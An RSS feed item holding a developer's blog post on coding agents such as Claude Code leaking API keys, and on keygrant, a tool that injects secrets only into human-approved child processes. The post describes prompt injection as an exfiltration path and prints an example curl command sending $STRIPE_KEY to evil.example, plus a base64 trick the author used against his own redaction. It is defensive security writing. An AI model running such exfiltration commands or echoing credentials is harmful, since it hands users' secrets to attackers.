<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Edward Qiu</title>
    <description>The latest articles on DEV Community by Edward Qiu (@_d5c89c19f4997b0bdab27).</description>
    <link>https://dev.to/_d5c89c19f4997b0bdab27</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4175343%2F49f56c85-faf7-4e43-ab7d-e1fa96b68d2b.jpg</url>
      <title>DEV Community: Edward Qiu</title>
      <link>https://dev.to/_d5c89c19f4997b0bdab27</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/_d5c89c19f4997b0bdab27"/>
    <language>en</language>
    <item>
      <title>Claude Code keeps printing my secrets: why hook redaction isn't enough</title>
      <dc:creator>Edward Qiu</dc:creator>
      <pubDate>Sat, 10 Oct 2026 13:41:01 +0000</pubDate>
      <link>https://dev.to/_d5c89c19f4997b0bdab27/claude-code-keeps-printing-my-secrets-why-hook-redaction-isnt-enough-58nb</link>
      <guid>https://dev.to/_d5c89c19f4997b0bdab27/claude-code-keeps-printing-my-secrets-why-hook-redaction-isnt-enough-58nb</guid>
      <description>&lt;p&gt;If you use Claude Code (or any coding agent) against real APIs, you have&lt;br&gt;
probably watched it do this: you ask it to call Stripe, it runs &lt;code&gt;env&lt;/code&gt; or&lt;br&gt;
&lt;code&gt;cat .env&lt;/code&gt; to "check the configuration", and your live key scrolls past in&lt;br&gt;
the transcript.&lt;/p&gt;

&lt;p&gt;You're not alone. The Claude Code issue tracker has a run of reports with the&lt;br&gt;
same shape:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the agent keeps printing env-var secrets verbatim instead of referring to
them by name, to the point where the reporter kept rotating keys
(&lt;a href="https://github.com/anthropics/claude-code/issues/56103" rel="noopener noreferrer"&gt;#56103&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;the model inlines secret values directly into Bash tool-call arguments
(&lt;a href="https://github.com/anthropics/claude-code/issues/56025" rel="noopener noreferrer"&gt;#56025&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;three leak incidents in six days, with a request for harness-level output
redaction (&lt;a href="https://github.com/anthropics/claude-code/issues/65122" rel="noopener noreferrer"&gt;#65122&lt;/a&gt;);&lt;/li&gt;
&lt;li&gt;vanilla Claude Code reading credential files into the conversation
(&lt;a href="https://github.com/anthropics/claude-code/issues/66044" rel="noopener noreferrer"&gt;#66044&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most of these are closed and locked, so if you landed here from a search,&lt;br&gt;
this post is the reply I couldn't leave on them.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why this matters more than "oops, it's in my scrollback"
&lt;/h2&gt;

&lt;p&gt;A secret that reaches the model's context can leave through every channel the&lt;br&gt;
agent has: a reply, generated code that gets committed, a URL in a tool call,&lt;br&gt;
request logs, observability tools that store full prompts, a shared session&lt;br&gt;
transcript.&lt;/p&gt;

&lt;p&gt;And agents spend all day reading untrusted input: issues, READMEs, web pages,&lt;br&gt;
other MCP servers' results. Prompt injection turns that into an exfiltration&lt;br&gt;
path. &lt;a href="https://invariantlabs.ai/blog/mcp-github-vulnerability" rel="noopener noreferrer"&gt;Invariant Labs showed&lt;/a&gt;&lt;br&gt;
a single malicious GitHub issue making an agent leak private-repo data, and&lt;br&gt;
&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-32711" rel="noopener noreferrer"&gt;EchoLeak (CVE-2025-32711)&lt;/a&gt;&lt;br&gt;
was a zero-click exfiltration in M365 Copilot. Models are trained to resist&lt;br&gt;
this. Nobody claims the failure rate is zero, and a leaked key only has to&lt;br&gt;
leak once.&lt;/p&gt;
&lt;h2&gt;
  
  
  The community fix: redact the output with hooks
&lt;/h2&gt;

&lt;p&gt;The common workaround is a &lt;code&gt;PostToolUse&lt;/code&gt; hook that rewrites tool output and&lt;br&gt;
masks anything that looks like a key. It helps, but it has three structural&lt;br&gt;
problems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. It runs after the fact.&lt;/strong&gt; By the time a hook sees the output, the value&lt;br&gt;
is already in the agent's process environment and the agent can use it.&lt;br&gt;
Redacting the transcript does nothing about &lt;code&gt;curl "https://evil.example/?k=$STRIPE_KEY"&lt;/code&gt;:&lt;br&gt;
the model never needed to &lt;em&gt;see&lt;/em&gt; the value to send it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. It can't catch what never hits output.&lt;/strong&gt; When the model inlines a secret&lt;br&gt;
into a tool-call argument (#56025), the leak happens on the way &lt;em&gt;in&lt;/em&gt;, before&lt;br&gt;
any output hook runs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Format blocklists miss formats.&lt;/strong&gt; Most redaction matches patterns that&lt;br&gt;
"look like" credentials: &lt;code&gt;sk-...&lt;/code&gt;, &lt;code&gt;ghp_...&lt;/code&gt;, &lt;code&gt;AKIA...&lt;/code&gt;. Every provider invents&lt;br&gt;
a new prefix, and a blocklist only knows the ones someone wrote down. There are&lt;br&gt;
also plumbing traps: a reported bug where output rewriting is silently ignored&lt;br&gt;
for the built-in Bash tool&lt;br&gt;
(&lt;a href="https://github.com/anthropics/claude-code/issues/68951" rel="noopener noreferrer"&gt;#68951&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Hooks treat the symptom. The cause is that the value is somewhere the agent&lt;br&gt;
can reach.&lt;/p&gt;
&lt;h2&gt;
  
  
  The architectural fix: names for the model, values for the process
&lt;/h2&gt;

&lt;p&gt;Your shell has offered the right split for fifty years:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model context:       STRIPE_KEY        (the name: harmless)
child process env:   sk-live-...       (the value: injected at exec time)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The model writes &lt;code&gt;curl -H "Authorization: Bearer $STRIPE_KEY" ...&lt;/code&gt; and never&lt;br&gt;
learns what the variable expands to. The trick is making sure the value is&lt;br&gt;
&lt;em&gt;not&lt;/em&gt; in the agent's own environment, only in the one child process that needs&lt;br&gt;
it.&lt;/p&gt;

&lt;p&gt;I built &lt;a href="https://github.com/bazingaedward/keygrant" rel="noopener noreferrer"&gt;keygrant&lt;/a&gt; to make that&lt;br&gt;
split the default:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzx8wek1525z6eol5d6af.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzx8wek1525z6eol5d6af.gif" alt="keygrant: the agent requests a secret, a native dialog shows the exact command, output comes back redacted" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's an MCP server with exactly two tools:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;list_secrets&lt;/code&gt; returns names and descriptions only;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exec_with_secrets&lt;/code&gt; runs one command with the named secrets injected into
&lt;em&gt;that child process&lt;/em&gt;. The values come from the OS keystore (Keychain, DPAPI,
Secret Service), never from a dotfile.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is deliberately &lt;strong&gt;no tool to store a secret&lt;/strong&gt;. If the model could write a&lt;br&gt;
value through a tool call, the value would be in context, and the whole design&lt;br&gt;
would be void. Values go in out-of-band, through stdin.&lt;/p&gt;
&lt;h3&gt;
  
  
  Approval, per command
&lt;/h3&gt;

&lt;p&gt;Keeping values out of context still leaves problem 1: an injected agent can&lt;br&gt;
&lt;em&gt;use&lt;/em&gt; a key it has never seen. Only a human can tell whether a given use is&lt;br&gt;
intended.&lt;/p&gt;

&lt;p&gt;So every &lt;code&gt;exec_with_secrets&lt;/code&gt; call pops a native OS dialog showing the session,&lt;br&gt;
the secrets and &lt;strong&gt;the full command&lt;/strong&gt;. An approval covers that exact command&lt;br&gt;
string, in that one agent session, for 15 minutes, held in memory only. A&lt;br&gt;
different command asks again; the same command repeated does not, so you don't&lt;br&gt;
get trained into clicking Allow without reading.&lt;/p&gt;

&lt;p&gt;My first version granted "this key, this session, 15 minutes". My own security&lt;br&gt;
review killed it: approve one honest &lt;code&gt;curl api.stripe.com&lt;/code&gt; and the malicious&lt;br&gt;
&lt;code&gt;curl&lt;/code&gt; that follows rides the same grant. Binding to the exact command fixed it.&lt;/p&gt;

&lt;p&gt;If you're away from the machine, an unanswered dialog can escalate to your&lt;br&gt;
phone. The verdict is signed by a key generated in the phone's browser, over a&lt;br&gt;
hash of the full request, and the CLI verifies it against the request it&lt;br&gt;
actually holds. The relay server can't approve on your behalf, or show your&lt;br&gt;
phone one command while releasing another.&lt;/p&gt;
&lt;h3&gt;
  
  
  Redaction, by value, as a second line
&lt;/h3&gt;

&lt;p&gt;Output still gets redacted before it returns to the model, but by the &lt;strong&gt;known&lt;br&gt;
value&lt;/strong&gt; of each injected secret, not by format guesses. There's no blocklist to&lt;br&gt;
miss a provider's new prefix. Plaintext, hex, URL-encoding and base64 are&lt;br&gt;
covered.&lt;/p&gt;
&lt;h2&gt;
  
  
  The bug I found in my own redaction
&lt;/h2&gt;

&lt;p&gt;While writing this up I tried the obvious attack against my own tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;keygrant &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;--redact&lt;/span&gt; STRIPE_KEY &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'echo "Authorization: Bearer $STRIPE_KEY" | base64'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The old version printed the key, encoded, in full.&lt;/p&gt;

&lt;p&gt;Base64 encodes in 3-byte groups, so the same key encodes to completely&lt;br&gt;
different characters depending on what comes &lt;em&gt;before&lt;/em&gt; it. &lt;code&gt;"Authorization: Bearer "&lt;/code&gt;&lt;br&gt;
is 22 bytes, not a multiple of 3, which shifts the key into a different&lt;br&gt;
alignment. My redaction only matched the key encoded on its own, at offset 0.&lt;br&gt;
Anything in front of it, and the whole key was recoverable from the output.&lt;/p&gt;

&lt;p&gt;The fix: encode the secret at all three alignments and match only the middle&lt;br&gt;
characters that depend on the key alone. The edge characters mix in a few bits&lt;br&gt;
of the neighbouring bytes and can't reconstruct the key. The regression test&lt;br&gt;
tries to decode the key back out of redacted output at every alignment; the old&lt;br&gt;
code failed 92 cases. Fixed in 0.1.6:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;QXV0aG9yaXphdGlvbjogQmVhcmVyIH[STRIPE_KEY:base64:REDACTED]Ao=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's also the best argument for the architecture. Redaction is a backstop, and&lt;br&gt;
backstops have holes. The boundary is the value never reaching the agent.&lt;/p&gt;
&lt;h2&gt;
  
  
  What this doesn't protect against
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;An approved malicious command still leaks the key.&lt;/strong&gt; The dialog shows the
full command; reading it is the control. Per-secret egress allowlists
(&lt;code&gt;STRIPE_KEY&lt;/code&gt; only to &lt;code&gt;api.stripe.com&lt;/code&gt;) are next.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Redaction can be evaded by encodings it doesn't know&lt;/strong&gt;, and a value written
to a &lt;em&gt;file&lt;/em&gt; and read back later isn't seen by output redaction at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local malware is out of scope.&lt;/strong&gt; Anything running as your user can read
your keystore. This scopes what agents can touch; it isn't antivirus.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;uv tool &lt;span class="nb"&gt;install &lt;/span&gt;keygrant      &lt;span class="c"&gt;# or: pipx install keygrant (Python &amp;gt;= 3.10)&lt;/span&gt;
keygrant init                 &lt;span class="c"&gt;# writes .mcp.json + CLAUDE.md guidance&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"sk-..."&lt;/span&gt; | keygrant &lt;span class="nb"&gt;set &lt;/span&gt;STRIPE_KEY &lt;span class="nt"&gt;--desc&lt;/span&gt; &lt;span class="s2"&gt;"stripe, test mode"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Restart Claude Code and ask it to "list recent Stripe charges with STRIPE_KEY".&lt;br&gt;
It will write &lt;code&gt;$STRIPE_KEY&lt;/code&gt; into the command, and you approve it in the dialog.&lt;br&gt;
Or register it for every project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude mcp add &lt;span class="nt"&gt;--scope&lt;/span&gt; user keygrant &lt;span class="nt"&gt;--&lt;/span&gt; keygrant mcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No account, local only, Apache-2.0, no third-party dependencies in the core.&lt;br&gt;
It's also listed in the official MCP Registry as &lt;code&gt;io.github.bazingaedward/keygrant&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/bazingaedward/keygrant" rel="noopener noreferrer"&gt;https://github.com/bazingaedward/keygrant&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Threat model write-up: &lt;a href="https://keygrant.app/why" rel="noopener noreferrer"&gt;https://keygrant.app/why&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've found an encoding the redaction misses, a hole in the threat model,&lt;br&gt;
or a platform where the dialog misbehaves, I'd genuinely like to hear it in the&lt;br&gt;
comments or an issue.&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>ai</category>
      <category>security</category>
      <category>mcp</category>
    </item>
  </channel>
</rss>
